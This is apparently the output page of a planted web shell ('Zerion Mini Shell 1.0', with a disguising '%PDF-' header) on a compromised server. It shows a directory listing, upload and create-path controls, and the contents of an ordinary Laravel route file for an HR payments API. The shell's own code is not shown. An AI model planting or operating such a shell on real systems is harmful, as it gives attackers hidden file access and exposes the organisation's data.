%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/hr/api/routes/api/v1/
Upload File :
Create Path :
Current File : /var/www/html/hr/api/routes/api/v1/payments.php

<?php

use App\Models\Module;
use Illuminate\Support\Facades\Route;

Route::group([
    'middleware' => [
        'auth:api',
        'role:ADMIN|FINANCE',
        'module:' . Module::PAYMENTS_MODULE,
    ],
], function () {

    Route::resource('payments', 'PaymentsController')
         ->only([
             'index',
             'store',
             'destroy',
         ]);

    Route::get('payments/actions/getMonthly', 'PaymentsController@getMonthly')
         ->name('api.v1.payments.actions.getMonthly');

    Route::get('payments/actions/awaitingPayment', 'PaymentsController@awaitingPayment')
         ->name('api.v1.payments.actions.awaitingPayment');

    Route::get('payments/actions/getProject/{project}', 'PaymentsController@getProject')
         ->name('api.v1.payments.actions.getProject');

    Route::post('payments/{payment}/actions/paymentReceived', 'PaymentsController@paymentReceived')
         ->name('api.v1.payments.actions.paymentReceived');

});

Zerion Mini Shell 1.0